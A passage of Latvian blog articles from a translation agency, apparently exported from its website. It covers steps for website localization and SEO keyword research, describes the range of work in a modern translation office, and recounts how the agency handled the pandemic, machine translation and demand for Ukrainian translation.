iespējams, ir vēl citi faktori. Visbeidzot, padomājiet par vēlamo šī pakalpojuma veidu. Vienkāršības labad piedāvājam trīs visbiežāk sastopamās iespējas, no kurām izvēlēties, lai gan patiesībā to var būt vairāk: Cilvēku veikts tulkojums un lokalizācija: visu procesu veic tulkotāji un lokalizācijas speciālisti, izmantojot ierobežotu atbalstu tulkošanas rīku (CAT) veidā. Mašīntulkošana: viss process tiek veikts automātiski, izmantojot mašīntulkošanas rīkus (MT). Šim nolūkam ir pieejami arī daudzi “bezmaksas” rīki, bet tos mēs aplūkosim citos rakstos. Jauktais risinājums: šis risinājums ietver gan mašīntulkojumu, gan cilvēka darbu – pamatu veic MT rīks, bet pēc tam speciālisti to rediģē un uzlabo. Ja vēlaties, lai jūsu tīmekļa vietnei būtu patiesi labskanīga “sajūta”, jums vajadzētu pievērst uzmanību pirmajam vai trešajam variantam. 2. SOLIS: KLIENTU PRASĪBU IZPRAŠANA Nevar veikt tīmekļa vietnes lokalizāciju, nezinot, kas būs jūsu mērķauditorija. Atsevišķas grupas konkrētā valstī bieži izmanto atšķirīgus saziņas veidus, dialektus vai pat valodas. Pirms sākat lokalizāciju, jums ir jāzina, vai tas tā ir. Izpratne par klientu prasībām sākas ar pircēja personības izveidi. Tas ir jūsu ideālā klienta raksturojums vai arhetips. Pircēja personība ietver pamata demogrāfisko informāciju par jūsu mērķa klientiem, kā arī viņu uzvedību, motivāciju, nodomus un “vājās vietas”. Lai izveidotu jūsu pircēja profilu, jums ir jāapkopo vairāk informācijas par potenciālo tirgu un, ideālā gadījumā, jāiegūst konkrēti dati no digitālā mārketinga analītiskajiem rīkiem. Lai labāk izprastu mērķa tirgu, varat izmantot arī tirgus pārskatus un baltās grāmatas. Ja vien nesen neuzsākāt uzņēmējdarbību, tad līdz brīdim, kad sākat timekļa vietnes lokalizāciju citā valodā, jums, visticamāk, jau ir priekšstats par pašreizējo pircēja profilu – tāpēc šīs zināšanas ir jāizmanto, virzoties uz potenciālajiem tirgiem. Vēl viens svarīgs veids, kā izprast mērķa tirgu, ir atslēgvārdu izpēte (skatīt 4. soli). 3. SOLIS: KOMANDAS IZVEIDOŠANA UN VALODAS PAKALPOJUMU SNIEDZĒJA ATRAŠANA Kvalitatīvs lokalizācijas process nekad nav viena cilvēka lauciņš. Tas ir process, kurā jāiesaista vairāki jūsu uzņēmuma darbinieki, tostarp: mārketinga speciālisti; klientu apkalpošanas / pārdošanas nodaļas personāls; tīmekļa vietnes uzturēšanas speciālisti, jo īpaši pielāgotiem risinājumiem; labāko risinājumu radītājs. Katrai no šīm lomām ir atšķirīgs skatījums uz mērķiem un to izpildi. Pārliecinieties, ka ir kāds atbildīgais par projekta darbības jomas noteikšanu un ievērošanu. Ar tehniskā atbalsta palīdzību jums būtu jāspēj iegūt tekstus ekspertu lokalizācijas vajadzībām, kurus var izmantot lokalizācijas izmaksu procesā neatkarīgi no tā, vai to veic iekšēji vai trešās personas. Ja tas nav iespējams, var izmantot rasmošanas (Web scraping) metodes. Ja apsverat tīmekļa vietnes lokalizāciju, tas nozīmē, ka jums jau ir izveidota tīmekļa vietne, tāpēc ir viegli izlemt, kādu risinājumu izmantot. Tīmekļa vietnes formāts varētu būt WordPress, Shopify, Drupal, Wix vai kāds cits – katram no tiem ir savi ierobežojumi. Galvenokārt ir lietderīgi sadarboties ar uzņēmumu, kas var palīdzēt tulkot un lokalizēt jūsu tīmekļa vietni. Šādi uzņēmumi, ko dēvē par valodas pakalpojumu sniedzējiem, strādā ar speciālistiem, kuri lieliski pārzina mērķvalodu un kultūru. To vidū ir korektori un pieredzējuši tulkotāji, kas pārzina savu dzimto valodu. Viņi var sniegt visaptverošus pakalpojumus, kas ietver visu jūsu mārketinga tekstu plānošanu, apspriešanu, izpēti, lokalizāciju un korektūru, tostarp tehnisko atbalstu un galīgo testēšanu. Tulkošanas birojs Skrivanek, lokalizējot tīmekļa vietņu saturu, vienmēr jautā klientam, kāds vispārējais stils mums būtu jāizmanto. Tas nozīmē, ka tulkotā tīmekļa vietne pilnībā atbilst jūsu vēlmēm. Šāda prakse būtu jāievēro visiem valodu pakalpojumu sniedzējiem. 4. SOLIS: SEO UN METADATU ŅEMŠANA VĒRĀ Lai gan visi teksti jūsu tīmekļa vietnē ir ļoti svarīgi, tulkošanas un lokalizācijas procesā ir jāņem vērā vēl daudz kas cits. Ir daudz ar tīmekļa vietni saistīti elementi, kurus izmanto Google roboti un citi meklētājprogrammu pārmeklētāji, lai saprastu, par ko ir jūsu tīmekļa vietne, piemēram: Meta virsraksti (virsrakstu tagi): tie tiek parādīti Google (meklētājprogrammas meklēšanas rezultātos) kā virsraksti saitēm uz jūsu tīmekļa vietni (tāpēc lietotāji tos redz tikai tad, ja jums ir laba organiskā pozīcija). Meta apraksti: tie īsi apkopo tīmekļa lapas saturu un arī tiek parādīti meklētājprogrammas meklēšanas rezultātos. ALT atribūti: šie nelielie satura gabaliņi apraksta, kas redzams visās grafikās, attēlos un fotogrāfijās, kuras publicējat savā tīmekļa vietnē. Vai zinājāt, ka tagad meta aprakstos, kā arī attēlos var izmantot emocijzīmes? Tas viss un vēl daudz kas cits, lai gan netieši, ietekmēs jūsu tīmekļa vietnes SEO. Tomēr tas viss var palīdzēt panākt, ka vairāk lietotāju noklikšķina uz jūsu saitēm! ATSLĒGVĀRDU IZPĒTE Atliek jautājums par atslēgvārdu izpēti. Ja vēlaties iegūt pēc iespējas augstāku vietu Google meklētājā, kā to dara lielākā daļa mūsu klientu, tad tam ir nepieciešama zināma izpēte, piemēram, par to, kādus atslēgvārdus un atslēgfrāzes izmanto lietotāji un klienti jūsu izvēlētajā tirgū. Ir pieejami daudzi bezmaksas atslēgvārdu izpētes rīki, tostarp: Google atslēgvārdu plānotājs; Keyword Surfer – SEO Chrome paplašinājums; Ubersuggest. Mēs, Skrivanek, galvenokārt izmantojam divus rīkus – Ahrefs un Google atslēgvārdu plānotāju atkarībā no jūsu uzņēmējdarbības mērķiem. Atslēgvārdu izpēte arī parāda, kādus produktus un kā meklē jūsu potenciālie klienti. Kā arī parāda galvenos “dabiskos” konkurentus. Pēc tam varat analizēt, kā jūsu konkurenti sevi attēlo, un pat mācīties no viņiem. Mēs redzam, ka daudzi cilvēki meklēšanas vaicājumā neizmanto “tīmekļa vietnes lokalizācija”, bet tā vietā izmanto “tīmekļa vietnes tulkojums”, “mājaslapas tulkojums” vai “mājas lapas tulkošana”, bieži vien paļaujoties uz īsām un nepareizi rakstītām formām. Interesanti, ka pārrakstīšanās kļūdas var izmantot arī jūsu uzņēmuma labā, – mēs tās veiksmīgi izmantojam un vienmēr iesakām arī jums daudzos gadījumos, jo tās var sniegt labus rezultātus! Kad jau esat izpētījis savu mērķa tirgu, varat iegūtos rezultātus nodot tīmekļa vietnes lokalizēšanas uzņēmumam un lūgt, lai, lokalizējot saturu, tas ņem vērā jaunos atslēgvārdus. Kāpēc tas ir svarīgi? Nepareizi izvēlēti atslēgvārdi var izraisīt mazāk meklējumu jaunajā mērķa valodā, kas nozīmē mazāku datplūsmu jaunajā mērķa tirgū. Mūsu, Skrivanek, atslēgvārdu izpēte balstīta uz iepriekšējiem meklējumiem avota valodā vai jaunu izpēti, kas balstīta uz klienta norādēm. Atcerieties: atslēgvārdu izpēte ir īpaši nozīmīga, ja jūsu uzņēmumam ir ilgtermiņa plāni “cīnīties” par dabisko datplūsmu. Tomēr, ja jūsu galvenais klientu avots ir reklāmas Facebook, LinkedIn, Google vai līdzīgās platformās, tad dabiskās pozīcijas nodrošināšana var nebūt tik svarīga. 5. SOLIS: VISU LOKALIZĒTO TEKSTU GLABĀŠANA VIENUVIET Pastāv liela iespēja, ka jums būs daudz datņu un norādījumu, kas saistīti ar jauno tīmekļa vietnes versiju. Vienmēr ir labi visus šos dokumentus glabāt vienuviet, un, iespējams, vislabākā izvēle ir mākoņglabāšana. Tas nozīmē, ka jūsu darbinieki, darbuzņēmēji un valodas pakalpojumu sniedzējs var nekavējoties piekļūt visām nepieciešamajām datnēm to jaunākajās versijās. Izmantojot mākoņdisku, jūs varat izvairīties no daudzām problēmām, jo īpaši no tām, kas rodas tāpēc, ka dažādiem cilvēkiem ir piekļuve vienas un tās pašas datnes dažādām versijām. Turklāt ir vērts izmantot CAT rīkus ne tikai procesa atvieglošanai, bet arī tīmekļa satura glabāšanai. Protams, vienmēr ir labāk, ja tīmeklī ir unikāls vietnes saturs, taču dažas lietas paliks nemainīgas, un nākotnē tās varēs izmantot atkārtoti. CAT atmiņu saglabāšana ļauj ietaupīt naudu par atkārtojumiem, palīdz paātrināt visu tulkošanas procesu un nodrošina, ka jūsu teksti paliek saskanīgi. Ja izvēlaties sadarboties ar valodas pakalpojumu sniedzējiem, viņiem vajadzētu būt CAT rīkiem. 6. SOLIS: LOKALIZĀCIJAS PĀRBAUDE AR DZIMTĀS VALODAS SPECIĀLISTU PALĪDZĪBU Lai gan ne katram dzimtās valodas runātājam ir pietiekamas zināšanas, lai lokalizētu jūsu tīmekļa vietni, jums vienmēr vajadzētu ļaut vismaz vienam dzimtās valodas speciālistam izlasīt jūsu tīmekļa vietnes kopiju, pirms to ievietojat tiešsaistē. Ja sadarbojaties ar tulkošanas uzņēmumu, viņi var jums palīdzēt. Ideālā gadījumā jums ir nepieciešams kāds, kurš atbilst jūsu mērķauditorijai, lai gan ierobežotu resursu gadījumā vienmēr ir pieejami draugi, viltus eksperti un ģimene. Iespējams, vēlēsieties spert vēl vienu soli tālāk un organizēt mērķa grupu, lai pārskatītu, kā jūsu jaunā tīmekļa vietne tiek uztverta, taču vairumā gadījumu tas nav nepieciešams. 7. SOLIS: JŪSU KOPIJU (UN JŪSU JAUNĀS TĪMEKĻA VIETNES) PĀRBAUDE Pirms jaunās tīmekļa vietnes palaišanas ir ļoti svarīgi pārbaudīt, vai viss izskatās un darbojas pareizi. Pārliecinieties, vai visas tīmekļa vietnes sadaļas ir pareizi tulkotas un lokalizētas, vai katras jaunās tīmekļa lapas izkārtojums izskatās labi un vai viss ir atbilstoši no tehniskā viedokļa. Pārliecinieties, ka to testējat lietošanai gan mobilajā ierīcē, gan datorā. Analītikas pārskatīšana var parādīt, kas ir svarīgi jūsu uzņēmējdarbībai. Daži no elementiem, kas jums jāpārbauda, ir: nosaukumi, valūtas, mērvienības, vienības; iekšējās un ārējās saites; attēli un to raksturlielumi; izvēlnes un tīmekļa vietnes funkcionalitāte; maksājumu process; grozs; atbilstība Google prasībām (lai to pārbaudītu, izmantojiet bezmaksas rīku Google Lighthouse); visi materiāli, kas lejupielādējami/skatāmi kā PDF datnes. Valodas elementi: kļūdas (pareizrakstības, gramatikas, interpunkcijas, pārrakstīšanās u. c. ); atbilstība kultūrai (termini, vārdi un frāzes); kopijas vispārējā lasāmība un atbilstība jūsu uzņēmuma zīmolam. 8. SOLIS: LOKALIZĒTĀ TEKSTA IEVIETOŠANA TIEŠSAISTĒ Ja jūsu uzņēmums darbojas jau kādu laiku, tad jums vajadzētu būt diezgan ērtā situācijā – varat izmantot to pašu satura pārvaldības sistēmu vai e-komercijas platformu, ko izmantojāt līdz šim, jo lielākā daļa šo rīku piedāvā pilnīgu atbalstu dažādām valodu versijām. Kā rīkoties, ja jūs tikai uzsākat darbību? Šajā gadījumā jums jāizvēlas salīdzinoši vienkāršs risinājums, kas piedāvā vairāku valodu versiju atbalstu, neradot papildu izmaksas. Tas attiecas arī uz satura pārvaldības sistēmu, kā arī e-komercijas platformām, ja jums ir e-veikals. Kad tas viss ir izdarīts, pēdējais solis ir nodrošināt netraucētu pārslēgšanos starp pieejamajām valodu versijām. Tā var būt daļa no galvenās izvēlnes, bet šo iespēju var piedāvāt arī galvenē vai kājenē. 9. SOLIS: NEKAD NEATSLĀBT Lokalizācija, tāpat kā visi citi darbi, kas saistīti ar jūsu tīmekļa vietni, ir nebeidzams process tik ilgi, kamēr uzņēmums turpina darbību. Jums jāturpina novērot, kā jūsu tīmekļa vietne darbojas, kādas klientu atsauksmes saņemat, kādus jautājumus uzdod potenciālie klienti, kuri jūsu tīmekļa vietnes un vispārējās tiešsaistes klātbūtnes aspekti darbojas labi un kurās jomās nepieciešami uzlabojumi. Izmantojot šādu proaktīvu pieeju, jūs varat ātri reaģēt uz tirgus izmaiņām un nodrošināt izcilu lietotāju pieredzi (UX) ikvienam, kas apmeklē jūsu tīmekļa vietni neatkarīgi no izmantotajām valodām. Ja jums ir nepieciešama palīdzība mārketinga materiālu, tostarp tīmekļa kopiju, tulkošanā un lokalizācijā, mēs labprāt palīdzēsim. Sazinieties ar mums, un skatīsim, ko mēs varam darīt kopā! --- > Ko dara tulkošanas biroju darbinieki? Lokalizācija, unikāla satura veidošana, lietotāju pieredzes uzlabošana, satura pielāgošana, pat mākslīgā intelekta izmantošana. - Published: 2023-02-02 - Modified: 2025-07-15 - URL: https://skrivanek.lv/ko-tu-nezinaji-par-darbu-musdieniga-tulkosanas-biroja/ - Kategorijas: Raksti - Formāti: Attēls - Translation Priorities: Optional KO TU NEZINĀJI PAR DARBU MŪSDIENĪGĀ TULKOŠANAS BIROJĀ? Kas ir tulkošanas birojs? Ar ko patiesībā nodarbojas tulkošanas biroja darbinieki? Kādu pievienoto vērtību viņi rada saviem klientiem? Šie ir daži no mums biežāk uzdotajiem jautājumiem. Patiesībā daudzi nemaz nenojauš, cik ļoti valodu tehnoloģijas ir attīstījušas un mainījušas tulkošanas biroju darba ikdienu. Lai gan tulkošana joprojām ir mūsu galvenais ienākumu avots, papildus mēs iesaistāmies ļoti daudzos aizraujošos un būtiskos procesos, piemēram, veidojam unikālu mārketinga saturu, novērtējam un uzlabojam lietotnes lietotāja pieredzi, konsultējam par starpkultūru un uzņēmējdarbības jautājumiem, lokalizējam un adaptējam saturu jauniem eksporta tirgiem. Iespējams, Tu pat nenojaut, cik liela nozīme tulkošanas biroju darbam ir Tavā dzīvē – pat tad, ja nekad neesi bijis tulkošanas biroja klients. Jautāsi, kā tas iespējams? Lasi tālāk un uzzini, ko Tu nezināji pa darbu mūsdienīgā tulkošanas birojā. TULKOŠANAS BIROJI PIEDĀVĀ DAUDZ PLAŠĀKU PAKALPOJUMU KLĀSTU Patiesi, klasiskā tulkošana šodien ir tikai viena maza daļa no tulkošanas biroju nodrošinātajiem pakalpojumiem. Modernajā pasaulē līdzās tulkošanai mēs ļoti daudz strādājam ar tekstiem, proti, rakstām unikālu mārketinga saturu, adaptējam tekstus citu valstu tirgiem, uzlabojam un pielāgojam mākslīgā intelekta ģenerētus tekstus (Tu noteikti esi dzirdējis par ChatGPT), ar vienu mērķi – sniegt mājaslapu (un ne tikai) lietotājiem pašu labāko pieredzi. Mūsu profesionālā un radošā komanda ik dienu meklē dažādus tekstuālus risinājumus gan lieliem, gan maziem uzņēmumiem un privātpersonām. Pilnveidojam un pārvaldām arī SEO (Search Engine Optimization) tekstus, lai arī meklētājprogrammas, piemēram, Google, skaidri uztvertu mājaslapā sniegto informāciju un veiksmīgi parādītu atbilstošāko saturu tieši tiem, kuri to meklē. Tā klienti atrod iemīļotākās preces un pakalpojumus, uzņēmumi – labākos piegādātājus un sadarbības partnerus un Tu – piemērotāko galamērķi savam nākamajam ceļojumam vai lieliskāko dāvanu mammai dzimšanas dienā. Varbūt Tu pat nenojauti, ka tostera, ko nesen iegādājies, lietošanas instrukciju tulkojis tieši mūsu tulkošanas birojs. Papildus tam norit arī konsultēšana un – jā, jā – mākslīgā intelekta izmantošana. Tieši tik plašs ir tulkošanas biroju pakalpojumu klāsts! TULKO NE TIKAI UZRAKSTĪTO Jā, tulkošanas biroju darbinieki dara krietni vairāk, nekā biji iedomājies, taču arī tulkošanas darbs ne vienmēr ir saistīts tikai ar rakstīto tekstu. Bieži vien mēs tulkojam arī audiovizuālos materiālus, piemēram, filmās runāto pārvēršam lasāmos subtitros. Kad nākamreiz sēdēsi kinoteātrī un baudīsi popkornu, zini, ka filmas subtitri, iespējams, ir tulkošanas biroja darbinieku paveiktais darbiņš, lai Tava kino pieredze būtu ērtāka un patīkamāka. Jā, arī tavs mīļākais Netflix seriāls savus subtitrus nav ieguvis bez tulkotāju palīdzības. Bet pavisam īstu maģiju veic mutvārdu tulki, jo viņu prāts strādā zibenīgā ātrumā, lai tikko dzirdēto informāciju uztvertu, pārtulkotu un pastāstītu klausītājiem jau pavisam citā valodā. Tulki ir ļoti nepieciešami dažādos klātienes un tiešsaistes pasākumos, kur tiekas gan augsta līmeņa valstu pārstāvji, piemēram, samitos, gan mazāka mēroga pasākumos vai tiesas sēdēs. MĀJASLAPU TULKOŠANĀ TALKĀ NĀK SPRAUDŅI JEB DATORPROGRAMMAS Valodu tehnoloģijas ļāvušas tulkošanas biroju darbiniekiem apgūt plašu datorprogrammu klāstu, kas ievērojami palīdz taupīt klientu laiku un paātrina darba procesu. Gadījumos, kad jāveic mājaslapu tulkošana un lokalizācija, mēs strādājam ar dažādām palīgprogrammām, par kurām arī stāstām saviem klientiem. Šobrīd tirgū vadošais ir WordPress daudzvalodu spraudnis WMPL, kas ir instalēts vairāk nekā 1 000 000 WordPress vietņu un nodrošina mājaslapu lokalizāciju vairāk nekā 45 valodās. Vai zināji, ka Skrivanek ir oficiālais WMPL partneris, kas nozīmē, ka mājaslapu tulkošana ir raita un modernizēta? MAŠĪNTULKOŠANA UN SMADZEŅU NEIRONI IR CIEŠI SAISTĪTI Jēdziens mākslīgais intelekts dažādās nozarēs tiek lietots arvien biežāk. Tas vairs nav nekas svešs arī tulkošanas biroju darbā. Neironu mašīntulkošanas tehnoloģija jeb NMT ir vismodernākā valodu tehnoloģiju pieeja, kas izmanto neironu tīklu metodes, lai prognozētu secīgu vārdu kopas iespējamību. Tā kā neironu mašīntulkošanā tiek izmantoti mākslīgo neironu tīklu algoritmi, kas līdzīgi cilvēka smadzenēm, tie spēj analizēt tekstu visos valodas līmeņos – fonētiskajā, leksiskajā, morfoloģiskajā un sintaktiskajā. Skrivanek ir pašiem savs NMT rīks – mašīntulkotājs, kura izstrādei tika piesaistīti ne tikai valodu speciālisti, bet arī akadēmiķi un dažādu nozaru eksperti. UZTICAMIEM PAKALPOJUMU SNIEDZĒJIEM IR NEPIECIEŠAMI KVALITĀTI APLIECINOŠI SERTIFIKĀTI Tulkošanas biroju darbinieku darbs ir ļoti atbildīgs. Visi taču zinām, ka vienu vārdu iespējams saprast tik dažādi, vēl jo vairāk, ja tas iztulkots vai interpretēts neatbilstoši. Lai nodrošinātu augstas kvalitātes tulkošanas biroja pakalpojumus, nepietiek vien ar cītīgu darbu. Plašāku atzinību un kvalitātes novērtējumu apliecina sertifikāti, kas sniedz uzticību un drošību klientiem. Piemēram, Skrivanek ir ISO 18587 sertificēts. Šis standarts paredzēts, lai valodu pakalpojumu uzņēmumi uzlabotu pēcrediģēšanas procesa kvalitāti. Tas nozīmē, ka mašīntulkotus tekstus uzlabos, rediģēs un optimizēs profesionāli tulkošanas speciālisti. TULKOŠANAS BIROJĀ STRĀDĀ NE TIKAI FILOLOGI, BET ARĪ CITU JOMU SPECIĀLISTI Tehnoloģiju attīstība ne tikai ir būtiski uzlabojusi tulkošanas biroju darbu, bet arī veicinājusi ciešu sadarbību ar citu nozaru profesionāļiem. Tu, iespējams, pat nenojaut, ka tulkošanas birojā strādā speciālisti, kuri nereti pat nemaz nenodarbojas ar tulkošanu. Skrivanek komanda gadu gaitā ir augusi, un tajā jau ilgu laiku strādā šādi speciālisti: visu valodu štata un ārštata tulki un tulkotāji – tulks specializējas mutvārdu tulkošanā, bet tulkotājs – rakstīta teksta tulkošanā; tiesas sēžu tulki – tulki, kuri labi orientējas juridiskajā terminoloģijā, saprot civillietu un krimināllietu procesu nianses; konferenču tulki – tulko sinhroni runātāja teikto no vienas valodas citā; korektori un redaktori – veic teksta saturisku analīzi atbilstoši teksta specifikai un valodas kultūras prasībām un rediģē to; terminologi – uzrauga, lai vārdi ir tulkoti atbilstoši pieņemtajai terminoloģijai un lietoti tekstā loģiski un konsekventi; mašīntulkojuma pēcrediģētāji – labo un pielāgo tekstu pēc tam, kad tekstu iztulkojis mašīntulkotājs; SEO tekstu autori – rada tekstus atbilstoši meklētājprogrammu, piemēram, Google, prasībām un optimizē tos atbilstoši atslēgas vārdiem; radošo tekstu un reklāmu saukļu autori – veido radošus tekstus mārketinga un reklāmas mērķiem; DTP speciālisti – veic teksta grafisko apstrādi, nepieciešamības gadījumā apstrādā fotogrāfijas, attēlus, tabulas, sagatavo maketus utt. ; subtitru tulkotāji – tulko subtitrus un transkriptus; lokalizācijas tehnoloģiju speciālisti un inženieri – veic mājaslapu lokalizāciju, izmantojot īpašas programmatūras; UX/UI lietojamības speciālisti – novērtē, analizē un meklē risinājumus, lai uzlabotu mājaslapu lietotāju pieredzi; NMT rīku modelēšanas speciālisti – īsteno tulkošanas projektu, izmantojot neironu mašīntulkošanu. TULKOŠANAS BIROJA DARBINIEKI NERETI SPECIALIZĒJAS VIENĀ VAI PAT VAIRĀKĀS JOMĀS Kā jau noskaidrojām, darbs tulkošanas birojā ir inovatīvs, un to veic daudzi un dažādi speciālisti. Papildus tam darbinieki bieži vien specializējas un labi pārzina dažādu nozaru specifiku, piemēram, jurisprudenci, finanses, tūrismu, informācijas tehnoloģijas, būvniecību, mašīnbūvi, ražošanu, medicīnu un citas. Tas nozīmē, ka attiecīgais biroja speciālists labi orientējas nozares terminoloģijā, jēdzienos un saprot tās auditoriju. Šīs zināšanas ir būtiskas, veidojot vai tulkojot tekstus sarežģītas un specifiskas nozares ietvaros. Vari taču iztēloties, cik grūti būtu kļūt par ārstu, ja visas grāmatas būtu tikai oriģinālvalodā. Kā redzi, darbs mūsdienīgā tulkošanas birojā ir ļoti daudzveidīgs, un digitalizācija un moderno tehnoloģiju iespējas tam ļauj nemitīgi attīstīties. Varbūt šķiet neticami, bet tulkošanas biroja darbinieku darba augļus redzam un baudām mēs visi. Mēs varam iepirkties internetā mums saprotamā valodā, spēlēt spēles, kuru noteikumi mums ir skaidri iztulkoti, lietot dažādas lietotnes, ko saprotam, izlasīt importētu pārtikas produktu sastāvdaļas un baudīt jautrus kino vakarus ar draugiem neatkarīgi no tā, kāda ir filmas oriģinālvaloda. Tagad saproti, cik nozīmīgu darbu dara tulkošanas biroja darbinieki. Mēs, Skrivanek komanda, esam priecīgi būt daļa no Tavas dzīves, un mūsu uzkrātā pieredze palīdz veiksmīgi integrēt arvien inovatīvākus risinājumus, lai sniegtu augstas kvalitātes valodu pakalpojumus arī turpmāk. --- > Vai jūs zināt to video, kur robots gatavo hotdogu, bet cīsiņš netrāpa maizītē, un tad viss noiet greizi? Iedomāsimies, ka tulkojums ir šāds hotdogs. 💡 - Published: 2023-01-09 - Modified: 2024-09-23 - URL: https://skrivanek.lv/kas-kopejs-hotdogiem-un-tulkosanai/ - Kategorijas: Raksti - Translation Priorities: Optional KAS KOPĒJS HOTDOGIEM UN TULKOŠANAI? Nav šaubu, tulkošana ir aizraujoša – un tā ir mūsu sirdslieta. Taču mūsdienās tulkošanas tirgus, kurā līdzās strādā un par klientiem cīnās gan lieli starptautiski uzņēmumi, gan pavisam nelieli tulkošanas biroji, kur nodarbināti vien daži cilvēki, ir izaicinājumiem pilns. Šobrīd visu pasaules tulkošanas uzņēmumu kopējā tirgus vērtība pārsniedz 60 miljardus ASV dolāru – iespaidīgi, vai ne? Tulkošanas nozare nepārtraukti attīstās, tiek izstrādāti arvien jauni interesanti risinājumi, piemēram, neironu mašīntulkotājs vai programmatūra, kas automātiski spēj izveidot subtitrus mākslas filmām, bet vienlaikus jebkuras politiskās vai ekonomiskās izmaiņas pasaulē nekavējoties ietekmē kā mazos, tā lielos tulkošanas tirgus spēlētājus. Pēdējie gadi daudziem tulkošanas uzņēmumiem bijuši gana skarbi, radot Brūsa Lī cienīgus sitienus. ARDIEVU KLIENTI – LAI DZĪVO KLIENTI! Atgriezīsimies 2020. gada sākumā, kad situācija tulkošanas tirgū bija diezgan stabila. Netrūkst klientu, kuri vēlas paplašināt savu darbību ārvalstīs, valsts iestādes izsludina konkursus daudzvalodu konferencēm, viss šķiet lieliski... Tad sākās Covid-19 pandēmija, un pēkšņi nepieciešamība nekavējoties pārorganizēt darbu attālināti ir mazākā no problēmām. Kā ar pasūtījumiem? Kurš pandēmijas laikā organizēs konferenci 120 dalībniekiem no visas pasaules? Kurš vēlēsies tulkot savus mārketinga materiālus ķīniešu valodā, jo plāno piedalīties starptautiskā izstādē? Neviens. Konferences un izstādes tiek atceltas, un mūsu pastkastītē svilpo vējš. Pirmās divas nedēļas nešķiet tik dramatiskas. Galu galā mums ir daudz pasūtījumu, kas jāarhivē, un lietu, kas jāsakārto, mēs beidzot varam izdarīt to, kam nekad nav pieticis laika... Taču tulkošanas biroju darbinieki ir cilvēki, kuriem patīk izaicinājumi. Ikdienā viņi cīnās ar sarežģītiem uzdevumiem dažādās valodās, kas bieži tiek veikti neticamā tempā. Kā pēkšņi orientēties šādā lēnā un neparedzamā pasaulē? Cik ilgi mēs izturēsim finansiāli? Tomēr izrādās, ka tas, ko mēs uzņēmumā Skrivanek gadu gaitā esam attīstījuši, proti, spēt pielāgoties mūsu klientu neparastajām vēlmēm ("Lūdzu, izdomājiet reklāmas saukli vjetnamiešu valodā mūsu blīvēm tā, lai tas asociētos ar bizoniem un augstu kvalitāti. "), mums daudz ko iemācījis. Mutisko tulkošanu var noorganizēt tiešsaistē, turklāt daudzi klienti un tulki tieši šādam formātam dod priekšroku, jo nav nepieciešams ceļot un pēc tulkošanas, kas patiesībā ir ļoti nogurdinošs darbs, var vienkārši atlaisties savā gultā. Savukārt dokumentu oriģinālus notariāli apliecinātiem tulkojumiem var saņemt pa pastu. Pasaule pāriet uz darbu e-vidē, sākas dzīve internetā. Ikviens uzņēmums, pat mazākais, kas pārdod vien dažas preces, vēlas interneta veikalu vismaz pāris svešvalodās, bet ārvalstu klienti – mājaslapu latviešu valodā. Labi, lai notiek! MŪS PĀRŅEMS ROBOTI (UN GATAVOS MŪSU VIETĀ HOTDOGUS) Kad bijām atguvušies no īslaicīga straujo pārmaiņu radītā trieciena, mēs ar optimismu raudzījāmies uz 2021. gadu, bet tikmēr kaut kur aiz stūra parādījās jauns konkurents – mašīntulkotājs. Ar mašīntulkošanu esam pazīstami jau sen. Daži uzņēmumi pat izstrādājuši savus mašīntulkošanas rīkus, lai izvairītos no klientu datu nosūtīšanas ārvalstu serveriem, piemēram, Google. Arī mēs jau vairākus gadus ar lepnumu reklamējam savu patentēto mašīntulkotāju Skrivanek NMT, tomēr klienti līdz šim baidījušies no mašīntulkojumiem un izvēlējušies ierasto, cilvēku veikto tulkojumu. Pandēmijas apstākļos klienti investēja attīstībā un paplašinājās ārvalstu tirgū, un neviens nevēlējās tērēt vairāk finanšu līdzekļu nekā nepieciešams. Nav noslēpums, ka mašīntulkošanas rīki ar katru gadu kļūst labāki. Kāpēc tad maksāt par tulkojumu kaut kādam tulkošanas birojam? Arvien biežāk klienti mums jautāja, vai mēs labojam mašīntulkojumu, tas ir, vai mēs veicam pēcrediģēšanu. Protams, mēs to darīsim – galu galā mēs esam atvērti jebkuram izaicinājumam. Mūsu tulkotāji un tulki tika apmācīti veikt arī pēcrediģēšanu. Vai mašīntulkošana tiešām būs pēdējais trieciens tulkošanas birojiem? Mašīntulkošana viennozīmīgi ir pagrieziena punkts tulkošanas tirgus attīstībā. Tā ļauj ātri orientēties dokumenta saturā, sasniegt auditoriju, kura runā retās valodās, taču mašīna nav cilvēks. Vai jūs zināt to video, kur robots gatavo hotdogu, bet cīsiņš netrāpa maizītē, un tad viss noiet greizi? Iedomāsimies, ka tulkojums ir šāds hotdogs. Datorizētais tulkotājs, piemēram, aizmirst par noliegumu teikumā, kas tiešām var gadīties. Pēkšņi izrādās, ka kleitai, kurai interneta veikalā NEpienākas atlaide, pateicoties mašīntulkotājam, tā pienākas. Pārdevējs zaudē peļņu, un viņš nesaņems atlaidi arī par mašīnas nepareizo tulkojumu. Jāpiebilst, daudzas valodas mākslīgajam intelektam var būt ārkārtīgi sarežģītas to neelastības dēļ. Tas ir kā izvēlīgs klients, kurš vēlas robotam pasūtīt īpašu hotdogu ar četrām mērcēm, bet ne ļoti daudz no pirmās, mazliet vairāk no otrās un tikai nedaudz no trešās un ceturtās. Izdzīvos profesionāļu hotdogi ar sīpolu, gurķi un piecpadsmit mērcēm, no kurām var izvēlēties. Tāpat arī tulkošanas biroji. Tiem, kuri vēlas augstākās kvalitātes pakalpojumu, nodrošināsim tulkojumu ar korektūru, bet tiem, kuri dod priekšroku ātram, bet nepilnīgam tulkojumam, piedāvājam pēcrediģēšanu – tulkojumu uzlabosim tā, lai tas atbilstu saturam un valodas normām un skanējumam. Un, protams, nebūtu pazaudējis nolieguma formas! Mēs nebaidāmies arī no sarežģītiem risinājumiem. Komplicētiem, uz grafiku balstītiem projektiem mēs veidojam komandas, kur strādā ne tikai tulkotāji, bet arī korektori, tekstu autori, IT speciālisti un grafiskie dizaineri. Tāpat nodarbojamies ar pastāvīgu ikdienas tulkošanu populāru lietojumprogrammu, kā TikTok, vajadzībām. MAŠĪNTULKOTĀJI VAIRS NEBAIDA! Nostabilizējušies mākslīgā intelekta pasaulē, bijām pārliecināti, ka 2022. gadā mūs nekas nespēs salauzt, bet sākas Krievijas nežēlīgais iebrukums Ukrainā. Tas pilnībā mainīja tulkošanas biroju perspektīvu tādās valstīs kā, piemēram, Latvija un Polija. Mūs appludināja jautājumu vilnis ne tikai par tulkojumiem no ukraiņu valodas, bet arī uz ukraiņu valodu. Mēs vēlējāmies kaut kā palīdzēt šajā grūtajā situācijā. Daudzi biroji izvēlējās veikt tulkojumus bez maksas, joprojām maksājot saviem tulkiem un tulkotājiem. Tā rīkojās arī Skrivanek. Mūsu tulki 